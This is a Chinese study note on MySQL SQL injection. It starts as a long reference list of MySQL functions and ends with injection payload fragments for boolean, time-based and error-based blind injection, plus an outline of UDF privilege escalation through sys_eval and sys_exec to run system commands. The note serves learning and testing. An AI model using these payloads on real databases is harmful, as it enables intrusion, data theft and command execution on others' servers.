資料庫系統函數的注入利用(初識)
- 2019 年 10 月 13 日
- 筆記
資料庫系統功能
MySQL系統自帶函數
*更多函數:https://blog.csdn.net/qq646040754/article/details/82721801
數學函數:
bin(x)
/hex(x)
返回x的二進位/十六進位編碼
abs(x)
x的絕對值
mod(x,y)
求余運算
sqrt(x)
平方根運算
ceil(x) / ceiling(x)
rand()
返回0~1之間的浮點數
round(x,D)
四捨五入保留D位小數
sign(x)
返回x的符號
pow(x,y)
x的y次冪
exp(x)
e的x次冪
floor(x)
返回小於或等於x的最大整數
count(x)
返回查詢的記錄總數
sum()
返回計算總和
日期函數:
addate(d,n)
計算起始日期d加上n天的日期
addtime(t,n)
計算t加上n秒的時間
curdate()
current_date()
返回當前日期
curtime()
current_time()
返回當前時間
current_timestamp()
localtime()
now()
sysdate()
返回日期和時間
字元串函數:
ascii(str)
返回字元串第一個字元的ASCII值
char_langth(str)
統計字元串的字元數
length(str)
返回str字元串的長度
insert(str,x,y,insert)
將字元串從x開始,y個字元長度替換為字元串insert
lpad(s1,len,s2)
在字元串s1的開始處填充字元串s2,使得長度達到len
rpad(s1,len,s2)
在字元串s1的結尾處填充字元串s2,使得長度達到len
ltrim(s)/rtrim(s)
刪除字元串s的開始/結尾處的空格
locate(s1,s)
從字元串s中獲取s1的開始位置
position(s1 in s2)
從字元串s中獲取s1開始的位置
left(s,n)
返回字元串s的前n個字元
right(s,n)
返回字元串s的後n個字元
mid(s,n,len),substring(s,n,len),substr(s,n,len)
從n位置字元串s截取len
concat(s1,s2,…)
返回s1,s2連接的字元串
concat_ws(s1,s2,'char'^)
返回可自由添加分隔符的拼接字元串
lcase()
lower()
字母小寫轉換
ucase(s)
upper(s)
字母大寫轉換
field()
返回第一個字元串在字元串列表的位置
find_in_set(s1,s2)
返回字元串s1在字元串s2的匹配位置
repeat(s,n)
字元串s重複n次
reverse(s)
字元串反序
strcmp(s1,s2)
比較字元串s1,s2並返回比較結果
nullif(exp1,exp2)
比較兩個字元串
formax(x,n)
對數字x進行格式化,將x保留到小數點後n位(四捨五入)
truncate(x,y)
返回數值x保留到小數點後y位的值,(不會四捨五入)
binary(s)
將字元串s轉換為二進位字元串
特殊函數:
connection_id()
返回連接該資料庫伺服器 的ID
current_user()
sssion_user
system_user()
user()
返回當前用戶名
database()
返回當前資料庫名
version()
返回資料庫的版本號
@@version_compile_os
查看系統架構
@@version_compile_machine
查看mysql架構
@@datadir
查看數據的存儲目錄
函數的利用姿勢:
length函數:判斷長度
select length(database());
count()函數:返回匹配指定條件的行數
union select 1,count(*),3 from user;-- 查看當前表的數量
mid()函數:用於從欄位中提取(一段)字元(布爾/時間/報錯 盲注)
and mid(user(),1,1)='r';
and if(mid(user(),1,1)='r',sleep(2),1);
and updatexml(1,mid(concat(0x7e,user()),1,5),1)
group by語句:結合聚合函數使用(報錯注入)
and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)
if(1,2,3):時間盲注
select if(1=1,sleep(2),1)
MySQL執行系統命令
system 執行格式:
mysql> system <linux命令>
UDF提權執行系統命令:
-
UDF是MySQL用戶自定義的函數,
-
要求:
plugin目錄具備讀寫許可權
查看系統和MySQL架構
select @@version_compile_os , @@version_compile_machine ;
UDF庫需要放在MySQL的plugin文件中
select @@plugin_dir;
自定義創建函數語法:
create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';
AGGREGATE
表示聚合函數,系統定義的聚合函數有:count(),ave(),mn(),sum()
SONAME
表示這個函數從哪個文件中引入,這個文件一般是動態鏈接庫,windows是dll,linux是so,並且這個文件再mysql的plugin目錄下;
UDF支援的函數:
sys_eval
執行任意命令,並返回他的輸出
sys_exec
執行任意命令,並返回他的退出程式碼
sys_get
獲取環境變數的值
sys_set
創建環境變數或更新現有的環境變數的值